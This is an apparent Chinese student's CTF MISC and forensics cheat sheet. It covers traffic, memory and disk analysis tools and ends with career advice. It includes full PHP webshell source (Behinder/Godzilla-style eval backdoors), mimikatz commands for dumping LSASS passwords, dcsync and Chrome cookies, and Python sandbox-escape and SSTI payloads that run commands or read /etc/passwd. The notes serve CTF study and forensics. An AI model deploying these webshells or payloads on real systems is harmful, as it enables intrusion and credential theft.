binwalk / foremost | 分离文件 | foremost 参数 输入文件 foremost -i inputfile -T |
strings | 查找指定字节流 | strings 参数 输入文件 strings inputfile |
D_safe D盾 | 查找后门 | |
火狐登录凭证 | 火狐登录凭证分析 | python firepwd.py 输入文件 python firepwd.py logins.json |
bmc | bmc文件取证 | python bmc-tools-master.py -s bmcfile -d output |
tcpxtract | 分离文件 | tcpxtract -f pcap 输入文件的路径tcpxtract -f pcap inputfile |
UsbKeyboardDataJack | USB键盘流量分析 | python UsbKeyboardDataJack.py 输入文件的 UsbKeyboardDataJack.py inputfile 原理分析:xx00xx001000000第一字节代表特殊按键,如02代表shift键第三字节代表按键,如ABCDEFG |
UsbMiceDataHacker | USB鼠标流量分析 | python UsbMiceDataHacker.py 输入文件 输出文件 参数 UsbMiceDataHacker.py inputfile outfile 原理分析:00:01:02:000000020001000000 变种:0:2 8:10 第一字节代表 按键 1左键 2右键 0 无第二字节代表x坐标,如果10进制>127,则减去256第二字节代表y坐标,如果10进制>127,则减去256(y轴转化为坐标需要变成-y)第四字节代表扩充字节 0代表没滚轮滚动,1代表向上滚动,FF代表向下滚动,2代表水平滚动右键一次,FE代表水平左键一次补充:请先让posx,posy进行运算,再进行判断按左键运算,避免移动式如果没按左键,位移没变 |
Usb数位板流量分析 | Usb数位板流量分析 | python usb数位板流量分析 原理分析:aaaaxxxx00yyyy0000 其中aaaa为过滤流量,转换10进制后xx+xx256为x坐标,yy+yy256为yy坐标 |
tshark | 分析文件信息 | tshark -r(选定流量文件/接口) -T fields -e 提取的内容 "其他参数" tshark -r inputfile -T fields -e usbhid.data "ip.src==192.168.0.1" |
wireshark | 流量分析 |
tshark
-r "" //-r 后加入导入的流量包
-e "" //-e 后加分析字段 ,类似 http tcp
-Y "" // -Y 后加入过滤参数
-T "" //-T 后设置解析结果,例如:text ps json csv fields
> "" //> 后设置重定向输出
https-beacon通信中,cs默认使用空证书建立加密通道,流量中可以看见这一过程。
同时在 https 协议的 Client Hello 和 Server Hello 阶段,都包含了 JA3S 值传输过程过程中会有 ja3,这个值在系统上是固定的,win10是一种的 但win11是另一种 他们取决于操作系统
http-beacon通信中,默认使用get方法向/dpixel、/__utm.gif、/pixel.gif等地址发起请求
同时get读文件时cookie是一串base64的值,这是cs流量的元数据(后面解密会用)
POST /submit.php?id=xxxxx
其中post一串0000的data为cs发送流量的数据 (解密时需要转成base64)
.cobalstrike.beacon_keys 的java反序列化字节流 .ser文件
https://github.com/Slzdude/cs-scripts
导入java反序列化字节流文件入 parse_beacon_keys.py 得到rsa公私钥,私钥为主
https://github.com/WBGlIl/CS_Decrypt
将私钥和 cookie 值(cs元数据)导入 Beacon_metadata_RSA_Decrypt.py 解密出AES key 和 HMAC key
导入 AES key 和 HMAC key 和发送数据的base64格式入 Beacon_Task_return_AES_Decrypt.py 解密发送的数据
请求和返回值为 base64 的 aes 加密值
冰蝎2
<?php
@error_reporting(0);
session_start();
if (isset($_GET['pass']))
//这里如果接收到get请求的pass参数
{
$key=substr(md5(uniqid(rand())),16);
//生成16位的随机秘钥用md5加密
$_SESSION['k']=$key;
//将上方生成的KEY存储到SEESSION中
print $key;
}
else
//如果没接收到pass参数,利用存储的KEY进行解密
{
$key=$_SESSION['k'];
//接收执行的命令
$post=file_get_contents("php://input");
if(!extension_loaded('openssl'))
{
$t="base64_"."decode";
$post=$t($post."");
for($i=0;$i<strlen($post);$i++) {
$post[$i] = $post[$i]^$key[$i+1&15];
}
}
else
//使用oppenssl进行AES128加密(这里要注意他用的AES128解密的时候也需要用这个)
{
$post=openssl_decrypt($post, "AES128", $key);
}
//将解密后的$post以'|'分割为数组。
$arr=explode('|',$post);
$func=$arr[0];
$params=$arr[1];
class C{public function __construct($p) {eval($p."");}}
//创建C类,利用__construct中的eval来执行解密后的值
@new C($params);
}
?>
冰蝎3
<?php
@error_reporting(0);
session_start();
$key="e45e329feb5d925b"; //该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond
$_SESSION['k']=$key;
$post=file_get_contents("php://input");
if(!extension_loaded('openssl'))
{
$t="base64_"."decode";
$post=$t($post."");
for($i=0;$i<strlen($post);$i++) {
$post[$i] = $post[$i]^$key[$i+1&15];
}
}
else
{
$post=openssl_decrypt($post, "AES128", $key);
}
$arr=explode('|',$post);
$func=$arr[0];
$params=$arr[1];
class C{public function __invoke($p) {eval($p."");}}
@call_user_func(new C(),$params);
?>
冰蝎2与冰蝎3 除了key生成方式区别外并无不同,加密逻辑为 AES CBC 后 base64
请求包和返回包(重点!iv是全0填充0000000000000000000000000000000)
解密的结果再进行一次base64解密即可
python解密脚本
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
import base64
def aes_decrypt_cbc(ciphertext, key, iv):
cipher = AES.new(key, AES.MODE_CBC, iv)
plaintext = cipher.decrypt(ciphertext)
plaintext = unpad(plaintext, AES.block_size)
return plaintext
ciphertext_base64 = b'uU7xO0V/KGySO6rdSlEw/dQXFklZWZn1EMhiAAoH7WPgcZi0gqTYodGuKeZEwtv2Gw1H/AgTwH2yV+Ix3A5QEhB3qHn5V1mOdSHC5dBkMmn6niKXQvCEsFi00fJXrxuXI9KhhR14BXCxYfRnA1KDjQ=='
ciphertext = base64.b64decode(ciphertext_base64)
key = b'7d7c23e87b47368b'
iv = b'\x00' * 16 # 16 bytes of zeros
plaintext = aes_decrypt_cbc(ciphertext, key, iv)
print(plaintext)
shell为java编写,且有 AES 加密字段
AES ECB解出 class文件
使用jadx进行反编译
再将返回值进行解密
将raw值进行AES解密
命令执行的变量名/pass为webshell连接密码
<?php
@session_start();
@set_time_limit(0);
@error_reporting(0);
function encode($D,$K){
for($i=0;$i<strlen($D);$i++) {
$c = $K[$i+1&15];
$D[$i] = $D[$i]^$c;
}
return $D;
}
$pass='air123';
$payloadName='payload';
$key='d8ea7326e6ec5916';
if (isset($_POST[$pass])){
$data=encode(base64_decode($_POST[$pass]),$key);
if (isset($_SESSION[$payloadName])){
$payload=encode($_SESSION[$payloadName],$key);
if (strpos($payload,"getBasicsInfo")===false){
$payload=encode($payload,$key);
}
eval($payload);
echo substr(md5($pass.$key),0,16);
echo base64_encode(encode(@run($data),$key));
echo substr(md5($pass.$key),16);
}else{
if (strpos($data,"getBasicsInfo")!==false){
$_SESSION[$payloadName]=encode($data,$key);
}
}
}
base64解密后异或key,重要(其中key的第一位要移到最后一位)
得到16进制密文后 进行 AES ECB解密,在进行Gzip
如果可以直接base64解码出来,则为蚁剑/菜刀流量
工具 / 命令名称 | 用途 | 命令 / 示例 | 参数(常用) |
---|---|---|---|
binwalk / foremost | 分离文件 | foremost 参数 输入文件foremost -i inputfile -T | |
strings | 查找指定字符串 | strings 参数 输入文件strings inputfile | |
010Editor | 查看泄露信息 | 010Editor可能由0宽组成:例如password p a s s w o r d70 00 61 00 73 00 73 00 77 00 6F 00 72 00 64 00 | |
aeskeyfind | 查询aes密钥 | aeskeyfind tmp.DMP | |
mimikatz | 获取lass.dump的账号密码 | 详细看附表 | |
mountumount | 挂载镜像,载入镜像 | mount 镜像文件 挂载文件路径mount inputfile /mnt | |
fsck | 恢复破损系统文件 | fsck 镜像文件 | |
testdisk | 恢复文件 | testdisk 镜像文件testdisk inputfile | |
FTK Imager | 挂载镜像,载入镜像 | add Evidence Item 载入镜像Image Mounting 挂载镜像 | |
VareCrypt请务必搭配keyfile使用 | 挂载镜像,载入镜像 | ||
DiskGenius | 挂载镜像,载入镜像 | ||
R-studio数据恢复 | 恢复文件 | ||
extundelete | 恢复文件 | extumdelete 参数 device-file 镜像文件extumdelete 参数 device-file inputfile | |
PasswareKitForensic | 镜像加密破解 | ||
AXIOM | 取证分析 | ||
取证大师 | 取证分析 | ||
volitility | 取证分析 | volatility -f 镜像文件 文件类型info --profile=镜像配置 参数volatility -f input --profile=Win7SP1x64 pslist | |
Registry Workshop | 恢复注册表,注册表取证 | ||
WRR | 恢复注册表,注册表取证 |
-f 打开镜像
-Q 提取文件
-D 保存文件
-o 选择 virtual 地址
-K 使用注册表密钥
Commands:
amcache:查看Amcache应用程序痕迹信息
apihooks:检测内核及进程的内存空间中的APIhook
atoms:列出会话及窗口站atom表
atomscan:Atom表的池扫描(Poolscanner)
auditpol:列出注册表HKLMSECURITYPolicyPolAdtEv的审计策略信息
bigpools:使用BigPagePoolScanner转储大分页池(bigpagepools)
bioskbd:从实施模式内存中读取键盘缓冲数据(早期电脑可以读取出BIOS开机密码)
cachedump:获取内存中缓存的域账号的密码哈希
callbacks:打印全系统通知例程
clipboard:提取Windows剪贴板中的内容
cmdline:显示进程命令行参数
cmdscan:提取执行的命令行历史记录(扫描_COMMAND_HISTORY信息)
connections:打印系统打开的网络连接(仅支持WindowsXP和2003)
connscan:打印TCP连接信息(仅支持WindowsXP和2003)
consoles:提取执行的命令行历史记录(扫描_CONSOLE_INFORMATION信息)
crashinfo:提取崩溃转储信息
deskscan:tagDESKTOP持扫描(Poolscaner)
devicetree:显示设备树信息
dlldump:从进程地址空间转储动态链接库
dlllist:打印每个进程加载的动态链接库列表
driverirp:IRPhook驱动检测
drivermodule:关联驱动对象至内核模块
driverscan:驱动对象池扫描
dumpcerts:提取RAS私钥及SSL公钥
dumpfiles:提取内存中注册表信息至磁盘(dumpfiles -Q 文件地址 -D 输出路径)
editbox:查看Edit编辑控件信息(Listbox正在实验中)
envars:显示进程的环境变量
eventhooks:打印Windows事件hook详细信息
evtlogs:提取Windows事件日志(仅支持XP/2003)
filescan:提取文件对象池信息
gahti:转储用户句柄类型信息
gditimers:打印已安装的GDI计时器及回调
gdt:显示全局描述符表
getservicesides:获取注册表的服务名称并返回SID信息
getsids:打印每个进程的SID信息
handles:打印每个进程打开的句柄的列表(句柄是一种智能的指针)
hashdump:转储内存中Windows账户密码哈希
hibinfo:转储休眠文件信息
hivedump:打印注册表配置单元信息
hivelist:打印注册表配置单元列表
hivescan:注册表配置单元池扫描
hpakextract:从HPAK文件(FastDump格式)提取物理内存数据
hpakinfo:查看HPAK文件属性及相关信息
idt:显示中断描述符表
iehistory:重建IE缓存及访问历史记录
imagecopy:将物理地址空间导出原生DD镜像文件
imageinfo:查看识别镜像信息
impscan扫描对导入函数的调用
joblinks:打印进程任务链接信息
kdbgscan:搜索和转储潜在KDBG值
kpcrscan:搜索和转储潜在KPCR值
ldrmodules:检测未链接的动态链接DLL
lsadump:从注册表中提取LSA密钥信息(已解密)
machoinfo:转储Mach-O文件格式信息
malfind:查找隐藏和插入的代码
mbrparser:扫描并解析潜在的主引导记录(MBR)
memdump:转储进程的可寻址内存(dump进程 -p 进程PID -D 输出文件路径)
memmap:打印内存映射
messagehooks:桌面和窗口消息钩子的线程列表
mftparser:扫描并解析潜在的MFT条目
moddump:转储内核驱动程序到可执行文件的示例
modscan:内核模块池扫描
modules:打印加载模块的列表
multiscan:批量扫描各种对象
mutantscan:对互斥对象池扫描
notepad:查看记事本当前显示的文本(ThiscommanddoesnotsupporttheprofileWin7SP1x64)
netscan:扫描网络情况
objtypescan:扫描窗口对象类型对象
patcher:基于页面扫描的补丁程序内存
poolpeek:可配置的池扫描器插件
printkey:打印注册表项及其子项和值(printkey -o 注册表地址/printkey -K 注册表名)
privs:显示进程权限
procdump:进程转储到一个可执行文件示例
pslist:按照EPROCESS列表打印所有正在运行的进程
psscan:进程对象池扫描
pstree:以树型方式打印进程列表
psxview:查找带有隐藏进程的所有进程列表
qemuinfo:转储Qemu信息
raw2dmp:将物理内存原生数据转换为windbg崩溃转储格式
screenshot:基于GDIWindows的虚拟屏幕截图保存
servicediff:Windows服务列表
sessions:_MM_SESSION_SPACE的详细信息列表(用户登录会话)
shellbags:打印shellbags信息
shimcache:解析应用程序兼容性Shim缓存注册表项
shutdowntime:从内存中的注册表信息获取机器关机时间
sockets:打印已打开套接字列表
sockscan:TCP套接字对象池扫描
ssdt:显示SSDT条目
strings:物理到虚拟地址的偏移匹配(需要一些时间,带详细信息)
svcscan:Windows服务列表扫描
symlinkscan:符号链接对象池扫描
thrdscan:线程对象池扫描
threads:调查_ETHREAD和_KTHREADs
timeliner:创建内存中的各种痕迹信息的时间线
timers:打印内核计时器及关联模块的DPC
truecryptmaster:恢复TrueCrypt7.1a主密钥
truecryptpassphrase:查找并提取TrueCrypt密码
truecryptsummary:TrueCrype摘要信息
unloadedmodules:打印卸载的模块信息列表
userassist:打印注册表中UserAssist相关信息
userhandles:转储用户句柄表
vaddump:转储VAD数据为文件
vadinfo:转储VAD信息
vadtree:以树的形式显示VAD树信息
vadwalk:显示遍历VAD树
vboxinfo:转储Virtualbox信息(虚拟机)
verinfo:打印PE镜像中的版本信息
vmwareinfo:转储VMwareVMSS/VMSN信息
volshell:内存镜像中的shell
windows:打印桌面窗口(详细信息)
wintree:Z顺序打印桌面窗口树
wndscan:池扫描窗口站
yarascan:以yara签名扫描进程或内核内存
-h 查看相关参数及帮助说明
–info 查看相关模块名称及支持的Windows版本
-f 指定要打开的内存镜像文件及路径
-d 开启调试模式
-v 开启显示详细信息模式(verbose)
学习参考
https://www.cnblogs.com/-mo-/p/11890232.html
# 提升权限
privilege::debug
# 获取密码
sekurlsa::logonpasswords full
# 使用mimikatz提取hash
lsadump::sam /sam:SAM /system:SYSTEM (分析SAM SYSTEM文件)
sekurlsa::minidump lsass.dmp (分析lsass.dmp文件)
sekurlsa::logonpasswords full
# 读取本地域中的成员Hash
# 抓取本地密码
lsadump::lsa /patch
# 获取所有域用户
lsadump::dcsync /domain:test.com /all /csv
# 指定获取某个用户的hash
lsadump::dcsync /domain:test.com /user:test
# mimikatz解密Cookie
# 获取masterkey
sekurlsa::dpapi (直接获取masterkey)
dpapi::masterkey /in:"c:\Users\fengjie\AppData\Roaming\Microsoft\Protect\S-1-5-21-2274946182-2013957047-1890316882-1632\59a94dbc-6dbb-4d51-bec0-edebc6f2e9f8" /password:qqq123!@#
dpapi::masterkey /in:"c:\Users\fengjie\AppData\Roaming\Microsoft\Protect\S-1-5-21-2274946182-2013957047-1890316882-1632\59a94dbc-6dbb-4d51-bec0-edebc6f2e9f8" /hash:632f6adad4510099d676724bfb87c6ee
# 解密cookie
dpapi::chrome /in:\"C:\Users\fengjie\AppData\Local\Google\Chrome\User Data\Default\Login Data\Cookie" /masterkey:1b81b1c9cb66a3f93b58f85948e8ce53779c6e5d"
# mimikatz票据
略
Advanced Forensics : aff4
EnCase Image : E01,Ex01,L01,Lx01
FTK Images :AD1
Raw Image : raw,dd,img,ima,vfd,flp,bif,bin,dmg,dmp,mem,mdf,
dd Image : 00000,000001,000011
VM Image : vdi vhd vhdx vmdk vxa
DMG Image : dmg
Archives : cpio,gzip,7z,zip...
Raw Image : raw,dd,img,ima,vfd,flp,bif,bin,dmg,dmp,mem,mdf,
Crash Dumps : crash
VM : vmss,vmsn,vmem
VirtualBox Core Dumps : elf
Other : hpak
Archives : cpio,gzip,7z,zip...
加密镜像:PasswareKitForensic
密码: mimikatz,password tool (文件在电脑中)
取证格式 | 取证工具 |
---|---|
E01 | AXIOM,FTK,其它挂载工具 |
Raw | Vol,AXIOM,R-studio,FTK |
vmdk | R-studio |
这里没有写全,推荐找找 SSTI 笔记,因为大一的时候不会 SSTI,就没写多少,后面学了点 web 这里就没更新了,写 web 笔记里了
一些系统信息:import platform #platform 具体命令需要另外找
import os
result = os.system("commmand")
print(result)
# os.system("sh") # 直接进行shell交互
result = os.popen("command")
print(result.read())
# eval只是表达式执行函数
eval(')"imaohw"(metsys.)"so"(__tropmi__'[::-1])
# exec是代码语句执行函数
exec(')"imaohw"(metsys.so ;so tropmi'[::-1])
# execfile 以python执行一个文件
execfile(filename)
import commands # 仅限python2
sataus = commands.getstatus("command")#返回shell命令输出内容
print(sataus)
output = commands.getoutput("command")#返回命令执行结果
print(output)
sataus,output = commands.getsatausoutput("command")
print(sataus,output)
import subprocess # 替换os.system
result = subprocess.popen("command",shell=True)
subprocess.call(['ifconfig'],shell=True)
subprocess.run()
import timeit
timeit.timeit(stmt='pass', setup='pass', timer=<default timer>, number=1000000, globals=None)
# 注意:命令为python命令和单引号以及双引号区别
timeit.timeit("__import__('os').system('ls')",number=1)
# stmt 是要测试的语句(字符串形式),setup 是要在语句前执行的代码(字符串形式),timer 可以是一个计时器对象,number 表示代码将被执行的次数
import pty
pty.spawn('command')
import platform
print platform.popen('dir').read()
f'{__import__("os").system("ls")}'
getattr(object, name[, default]) # getattr获取属性
getattr(os,'system')('cat /etc/passwd')
file('flag.txt').read() # file函数
open('flag.txt').read() # open函数
import codecs # codecs模块
codecs.open('test.txt').read()
import types # types模块
print types.FileType("flag").read()
help() # 如果不是完整打开
__main__
h
E
flag.txt
help()
os
!sh
import os
import os
import os
__import__('os')
importlib.import_module('os')
execfile('/usr/lib/python2.7/os,py') #效果等同于import 遍历了库文件
system('os')
with open('/usr/lib/python2.7/os.py')as f:
exec(f.read())
system('os')
import sys
sys.moudles['os']
__loader__.load_module('os')
# 其它绕过字符串,一些常见的加密和编码几个绕过(逆序,Rot13,16进制,hex,base64,unicode,拼接)
以下为几个举例:
_+'a' # 拼接字符串
__import__('so'[::-1]).system('ls') # 逆序
# 全角与半角转换
breakpoint()
breakpoint()
# 特殊字符
# http://shapecatcher.com/unicode/block/Mathematical_Alphanumeric_Symbols
a = 'o'
b = 's'
__import__(a+b).system('ls') # 拼接
__import__("o"+"s").system('ls') # 拼接
__import__("o""s").system('ls') # 拼接
print('\x5f\x5f\x62\x75\x69\x6c\x74\x69\x6e\x73\x5f\x5f') # hex
print(u'\u005f\u005f\u0062\u0075\u0069\u006c\u0074\u0069\u006e\u0073\u005f\u005f') # unicode
print('X19idWlsdGluc19f'.decode('base64')) # base64
print("_builtins_".join("__"))
print("%c%c%c%c"%(101,101,101,101)) #ascii
print(chr(101),chr(22)) # ascii
print(bytes([111,123,1233,232]))
list(dict(whoami=1))[0] # list + dict
().__doc__.find('s') # __doc__
().__doc__[19]+().__doc__[86]+().__doc__[19] # 转字符串
# 0:int(bool([]))、Flase、len([])
# 1:int(bool([""]))、True
# 获取稍微大的数字:len(str({}.keys)),不过需要慢慢找长度符合的字符串
# 1或0:float(True)
# 以0绕过所有数字
0 ** 0 == 1
1 + 1 == 2
2 + 1 == 3
2 ** 2 == 4
...
exec(input())
breakpoint() # 进入模式后直接进行输入命令即可
help()命令进入help界面,在help界面中随便输入模块名字进入模块界面,输入!sh进入shell界面,!command执行命令
# __getitem__() 替换
''.__class__.__mro__[-1].__subclasses__()[200].__init__.__globals__['__builtins__']['__import__']('os').system('ls')
# __getitem__()替换中括号[]
''.__class__.__mro__.__getitem__(-1).__subclasses__().__getitem__(200).__init__.__globals__.__getitem__('__builtins__').__getitem__('__import__')('os').system('ls')
# pop()替换中括号[],结合__getitem__()利用
''.__class__.__mro__.__getitem__(-1).__subclasses__().pop(200).__init__.__globals__.pop('__builtins__').pop('__import__')('os').system('ls')
getattr(''.__class__.__mro__.__getitem__(-1).__subclasses__().__getitem__(200).__init__.__globals__,'__builtins__').__getitem__('__import__')('os').system('ls')
# str函数替换
>>> ().__class__.__new__
<built-in method __new__ of type object at 0x9597e0>
# 将结果 <built-in method __new__ of type object at 0x9597e0> 转为了字符串
>>> str(().__class__.__new__)
'<built-in method __new__ of type object at 0x9597e0>'
# 取字符串第n个字符
>>> str(().__class__.__new__)[21]
'w'
同理还有
str(().__class__)[8]
<class 'tuple'>
>>> ‘
>>> str(().__class__.__new__)[21]+str(().__class__.__new__)[13]+str(().__class__.__new__)[14]+str(().__class__.__new__)[40]+str(().__class__.__new__)[10]+str(().__class__.__new__)[3]
'whoami'
(),[] 替换
== 用 in 替换
or 用 + - | 替换
and 用 & * 替换
利用装饰器 @
利用魔术方法,例如 enum.EnumMeta.__getitem__
>>> eval('str')
<class 'str'>
>>> eval('bool')
<class 'bool'>
>>> eval('st'+'r')
<class 'str'>
>>> eval(list(dict(s_t_r=1))[0][::2])
<class 'str'>
eval(list(dict(s_t_r=1))[0][::2])
>>> vars(__import__('binascii'))['a2b_base64']
<built-in function a2b_base64>
import __builtin__ # python2
import builtins # python3
dir(__builtins__) # 查看内部可用函数
'__import__' in dir(__builtins__) # 判断是否在__builtins__库中
如果库中被删除,可以尝试:
reload(__builtins__) # python2
import imp
imp.reload(__builtins__) # python3
#执行命令:通过内建模块添加os模块列表执行命令
__builtins__.__dict__['__import__']('os').system('command')
# 理解知识点
__是魔法方法,以避免与其它函数名发生冲突
# 若是dir()可用时,可以多次查看属性和函数列表
__mro__ __subclasses__() __base__ 是在dir()中不显示的,是魔法属性,需要自己尝试
# dir __dict__ 显示下属属性和函数列表
''.__class__.__dict__['upper']
dir(''.__class__)
#mro的意思是方法解析顺类,从子类到父类
''.__class__.__mro__
>>> (<class 'str'>, <class 'object'>)
# '' 是str类继承字object
''.__class__.__base__ # 查找父类
>>> <class 'object'>)
# subclasses是一个魔法属性显示直接子类
''.__class__.__mro__.__subclasses__
# __getattribute__ 无条件调用
object.__getattribute__(self, name)
__import__(“os”).__getattribute__(“metsys”[::-1])(‘ls’)
# globals继承逃逸,通过一些库自带os之类的模块实现逃逸
function.func_globals # 返回全局变量子类
# 简单总结
1.找到子类
[].__class__ 返回一个空列表所属的类,即list 类。
.__base__ 和 __mro__ 返回list类的父类,即object类。
.__subclasses__() 返回object类的所有直接子类。
[59] 表示获取子类列表中下标为 59 的子类,这里可能因为 Python 解释器版本不同而导致结果不同,具体取决于object类有多少个直接子类。如果在你的 Python 环境中运行此代码时,出现了索引错误或其他异常,请尝试使用不同的索引。
当找到 os._wrap_close 类后进行初始化方法
2.初始化类(可以想象为调用初始化类的函数)
.__init__ 是获取该子类的初始化方法,即构造函数。
.__globals__ 获取该方法的全局命名空间作为一个字典,包含了该方法所在文件的全局变量和函数等信息。
3.如果有popen函数则可以直接执行
''.__class__.__base__.__subclasses__()[137].__init__.__globals__['popen']('ls').read()
4.如果没有popen函数则需要继续
['linecache'] 表示获取该文件中名字为linecache的模块。
.__dict__ 获取该模块的命名空间作为一个字典。
['os'] 表示获取该模块中名字为os的变量或模块。
system('whoami') 调用以'whoami'字符串为参数的os.system()函数。
# payload
[].__class__.__base__.__subclasses__()[59].__init__.__globals__['linecache'].__dict__['os'].system('whoami')
[i.__init__.__globals__['linecache'].__dict__['os'].system('whoami') for i in ''.__class__.__mro__[-1].__subclasses__() if i.__name__ == "catch_warnings"]
''.__class__.__mro__[2].__subclasses__()[40]("/flag").read()
().__class__.__base__.__subclasses__()[-6].__init__.__globals__['system']('sh')
[].__class__.__base__.__subclasses__()[-4].__init__.__globals__[str(().__class__)[4] + str(().__class__.__new__)[29]+str(().__class__)[4]+str(().__class__.__new__)[5]+str(().__class__.__new__)[11]+str(().__class__.__new__)[10]](str(().__class__)[4]+str(().__class__.__new__)[13])
[].__class__.__base__.__subclasses__()[-4].__init__.__globals__[str().join([str(().__class__)[4],str(().__class__.__new__)[29],str(().__class__)[4],str(().__class__.__new__)[5],str(().__class__.__new__)[11],str(().__class__.__new__)[10]])](str().join([str(().__class__)[4],str(().__class__.__new__)[13]]))
# 0x01 利用eval()将其中字符串作为代码执行
{{().__class__.__bases__[0].__subclasses__()[128].__init__.__globals__['__builtins__']['eval']("__import__('os').system('whoami')")}}
{{().__class__.__bases__[0].__subclasses__()[128].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('whoami').read()")}}
# 0x02 直接调用__import__()构造payload执行命令
{{().__class__.__bases__[0].__subclasses__()[128].__init__.__globals__['__builtins__']['__import__']('os').popen('whoami').read()}}
# 0x03 调用open()读取文件
{{().__class__.__bases__[0].__subclasses__()[128].__init__.__globals__['__builtins__']['open']('C:\\Windows\win.ini').read()}}
{{[].__class__.__base__.__subclasses__()[59].__init__.func_globals['linecache'].os.popen('whoami').read()}}
{{().__class__.__bases__[0].__subclasses__()[40]('/etc/passwd').read()}}
{{().__class__.__bases__[0].__subclasses__()[40]('/etc/passwd').readlines()}}
"".__class__.__bases__[0].__subclasses__()[128].__init__.__globals__['popen']("whoami").read()
{{"".__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__import__('os').popen('whoami').read()}}
# __globals__ 替换
''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__
''.__class__.__mro__[2].__subclasses__()[59].__init__.func_globals
''.__class__.__mro__[2].__subclasses__()[59].__init__.__getattribute__("__glo"+"bals__")
# __mro__、__bases__、__base__互换
''.__class__.__mro__[2]
[].__class__.__mro__[1]
{}.__class__.__mro__[1]
().__class__.__mro__[1]
[].__class__.__mro__[-1]
{}.__class__.__mro__[-1]
().__class__.__mro__[-1]
{}.__class__.__bases__[0]
().__class__.__bases__[0]
[].__class__.__bases__[0]
[].__class__.__base__
().__class__.__base__
{}.__class__.__base__
dir() 查看所有属性和方法
dir(__builtins__) 查看所有内建函数
__dict__ 查看内部所有属性名和属性值组成的字典
getattr来拿到目标方法。
locals() 返回所有局部变量的函数;
__main__ 本身
__file__ 代码本身路径
globals() 返回所有全局变量的函数;
vars() 返回所有全局变量的函数;
help()
__main__
breakpoint()
pdb()
文件类型 | 分析工具 | 命令 / 示例 |
---|---|---|
未知 | tird | tird.exe 输入文件 |
xortool | ||
可能为raw文件或者加密文件,可以尝试导入 audilatiy 或者 GIMP中 | ||
bin | RouterPassView/ext2 | |
swf | potplayer | |
pst | DATA forensicspst forensics | |
JPEXS flash 逆向器 | ||
eml | outlook导入文件(邮件) | |
rdp缓存文件 | python bmc-tools.py | |
exe | pyinstxtractor | python pyinstxtractor.py 目标文件.exe |
pyc | uncompyle | uncompyle6 -o 输出文件 输入文件 uncompyle6 -o output.py input.pyc |
EasyPythonDecompiler | ||
stegosaurus-master | 分析指令: python -m stegosaurus encode.py -r 加密指令: python -m stegosaurus encode.py -s --payload "flagtext" 解密指令: python -m stegosaurus -x flag.pyc |
|
pyinstxtractor | python pyinstxtractor 输入文件python pyinstxtractor inputfile | |
key,pcm | openssl | 生成密钥: openssl genrsa -out test.key q 1024 1024 为密钥长度提取密钥: -openssl rsaa -in test.key -pubout -out test_pub.key 公钥加密文件: openssl rsaut; --encrypt -in hello -inkey test_pub.key -pubin -out out.txt 解密文件: openssl -rsatul -decrypt -in flag.txt -inkey test,key -out out.txt |
logicdata,saleae | sakeae logic逻辑分析工具 | |
文言文代码 | 文言 online ide | |
odttf | 字体 | odttf2ttf ( odttf名字需要改成对应的key,fontlab.xml中有) |
ttf | 字体 | fontdrop!查看字体文件 |
绘制图片 | gnuplot | gnuplot plot "文件名字"gnuplot plot inputfile |
GAGGP 绘图 | GPS Visualizer | |
GCODE | ||
UT Dallas | ||
ntds | 渗透域 | impacket-secretsdump |
hc | VareCryptTrueCrypt | veracrypt解密FTK挂载R-studio扫描 |
QrazyBox离线版
QrazyBox离线版
QrazyBox离线版
大一新生入门网安,如果学校一队二队缺 WEB 手,推荐学习 WEB 入门。
不要因为 MISC 简单而在这浪费了大把时间。因为到了大三大四找实习你会发现 MISC 知识除了只能去一些公司的竞赛部门出题和培训(甚至就几个公司,有些竞赛部门已经解散了,大概率以后找不到工作的),对实战技术一点提升也没有,干了几年想要干别的工作不可能了(别说你愿意工作后学习,上下班到家就歇逼了)。
如果学校一队二队不缺 WEB,那么你可以尝试看看 MISC ,因为要多混些比赛经历好写简历。MISC 入门最简单,纯脑洞没啥门槛,基本就是工具 + python 能力,看到对应文件类型和特征照着上面表找工具就行了,学一下 cv2,Image,numpy,zipfile,pyzbar,matplotlib 之类的库,多刷刷 ctfshow 入门 + NSSCTF 提高。然后就转 WEB,MISC 只是用来当作你跟着 WEB 和 PWN 手混比赛的手段而已。努力学学 WEB 或者实战的渗透。
当然我也找不到啥工作,就不指指点点了,只是给大一新生说说自己作为 MISC 手的想法。